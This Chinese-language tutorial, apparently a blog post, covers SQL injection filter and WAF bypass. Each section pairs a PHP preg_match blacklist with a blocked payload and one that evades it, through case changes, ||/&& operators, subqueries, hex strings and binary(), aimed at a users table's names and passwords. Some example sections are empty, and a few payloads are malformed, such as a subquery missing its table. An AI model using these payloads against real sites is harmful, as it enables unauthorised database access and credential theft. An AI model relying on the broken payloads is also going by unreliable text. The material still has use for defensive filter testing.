
定义和原理
混淆和绕过
普通的注入方式过于明显,很容易被检测。
因此,需要改变攻击的手法,绕过检测和绕过,即混淆和绕过。
具体操作针对于服务端和WAF的防御机制有多种手段。
简单案例:
使用 union注入 ,可以看到回显结果union语句被过滤。

我们换UNion(改变大小写),可以看到我们想要的数据库名称已经成功回显。

绕过类型
||和&&绕过
过滤代码
preg_match('/(and|or)/i',$id)
过滤情况
1or1=1 1and1=1
绕过情况
1||1=1 1&&1=1
union过滤绕过
过滤代码
preg_match('/(and|or|union)/i',$id)
过滤情况
union select user,password from users
绕过情况
||(select user from users where user_id=1)='admin'
where 过滤绕过
过滤代码
preg_match('/(and|or|union|where)/i',$id)
过滤情况
||(select user from users where user_id = 1)='admin'
绕过情况
||(select user from users limit 1,1)='admin'

limit 过滤绕过
过滤代码
preg_match('/(and|or|union|where|limit)/i',$id);
过滤情况
||(select user from users limit 1,1)='admin'
绕过情况
||(select min(user) from group by user_id having user_id = 1)='admin'
group过滤绕过
过滤代码
preg_match('/(and|or|union|where|limit|group by)/i',$id);
过滤情况
||(select min(user) from group by user_id having user_id = 1)='admin'
绕过情况
|| select substr((select group_concat(name)name from test),1,1) = 't';
select 及单引号过滤绕过
过滤代码
preg_match('/(and|or|union|where|limit|group by|select|\')/i',$id);
绕过情况
||substr(name ,1,1)=0x74
||substr(name ,1,1)=unhex(74)

解决思路:将查询的单引号及其内容转换为相应的十六进制值。
具体案例:



hex、unhex及substr过滤绕过-binary
过滤代码
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr)/i',$id);
过滤情况
||substr(name,1,1)=unhex(74)
绕过情况
||binary(name) = 0x74657374

空格过滤
过滤代码
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr|s)/i',$id);
过滤情况
||binary(name)=0x74657374
绕过情况
||binary(name)=0x74657374
具体案例


双写绕过

双重编码绕过

网友评论